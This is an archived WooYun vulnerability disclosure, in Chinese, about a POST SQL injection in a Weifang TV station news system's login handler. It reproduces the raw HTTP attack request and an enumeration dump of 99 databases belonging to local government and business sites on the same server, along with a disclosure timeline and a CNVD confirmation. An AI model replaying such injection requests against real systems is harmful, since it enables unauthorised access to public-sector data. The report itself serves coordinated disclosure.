乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-12-27: 细节已通知厂商并且等待厂商处理中 2015-12-31: 厂商已经确认,细节仅向厂商公开 2016-01-10: 细节向核心白帽子及相关领域专家公开 2016-01-20: 细节向普通白帽子公开 2016-01-30: 细节向实习白帽子公开 2016-02-12: 细节向公众公开
求20Rank
潍坊电视台新闻信息系统存在POST注入http://**.**.**.**/Home/Login.aspxPOST /tools/submit_ajax.ashx?action=user_login HTTP/1.1Host: **.**.**.**Content-Length: 35Origin: http://**.**.**.**X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1Content-Type: application/x-www-form-urlencodedAccept: application/json, text/javascript, */*Referer: http://**.**.**.**/Home/Login.aspxAccept-Encoding: gzip,deflate,sdchAccept-Language: zh-CN,zh;q=0.8Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3Cookie: ASP.NET_SessionId=f1zks0jge3amuewwlnoo0zkrtxtAccount=admin&txtPassword=123456available databases [99]:[*] 03199[*] 0536yihuo[*] 0536zx[*] 1532[*] 1yuan[*] aijiaw[*] aqcmwdb[*] aqdj[*] aqga[*] aqgapj[*] aqjj[*] aqpj[*] BaoMing[*] bbswffc[*] bbswftour[*] bhcmw[*] bhcmw-qc[*] boxing[*] cdzxw[*] cfv-gov-cn[*] chunkaijiao[*] csgh[*] cyrczx[*] deyy[*] htjycs[*] htpy[*] hua_oa[*] ispdata[*] ispdatanew[*] jswmb[*] Learning[*] lqga[*] lqxcmw[*] lupai[*] master[*] model[*] msdb[*] p-fuwahpark[*] pbxx[*] PCS[*] peixun[*] pianyifun[*] pingyi[*] pygd[*] pygd-qc[*] qysapp[*] qzcmw[*] qzdwcw[*] qzsh[*] ReportServer[*] ReportServerTempDB[*] shuhua[*] sjy[*] sun-dynasty_oa[*] szhxq[*] TakYunClub_DB[*] tempdb[*] test[*] tianzeStudy_jituan[*] tzrcw[*] wanli_wfzxw[*] wcgd[*] wfcycmw[*] wfdj[*] wfdyrs[*] **.**.**.**[*] wfflcp[*] wfgxcjt[*] wfgxqpy[*] wfhq[*] wfjyw[*] wflghy[*] wflife[*] wfly[*] wfqc2010[*] wfsqsng[*] wftzfc[*] wfyg[*] wfzgbm[*] wfzzbnew_09_11_30[*] wfzzbold[*] wfzzbXinxiang[*] wmw[*] www91546[*] xcb[*] xiaoshou[*] xs-wfcmw[*] xwxs[*] ygzy[*] yinxiangERP[*] yuxie[*] zcgaPJ[*] zgwfhqw[*] ZhongbaiShop[*] zhuanjiawuye[*] zjfw[*] zzbtp
同服网站查询了一下: 涉及潍坊公路局、粮食局、体育局、工商联、市直机关医院、福彩、教育网、旅游网、就业服务网、机构编制网、鲁能·潍坊杯官网、海运网、装饰网、装修网、富华游乐园和多个企业网站的海量数据库
涉及潍坊公路局、粮食局、体育局、工商联、市直机关医院、福彩、教育网、旅游网、就业服务网、机构编制网、鲁能·潍坊杯官网、海运网、装饰网、装修网、富华游乐园和多个企业网站的海量数据库
加装防火墙,过滤用户输入
危害等级:高
漏洞Rank:10
确认时间:2015-12-31 17:51
CNVD确认并复现所述情况,已经转由CNCERT下发给山东分中心,由其后续协调网站管理单位处置
暂无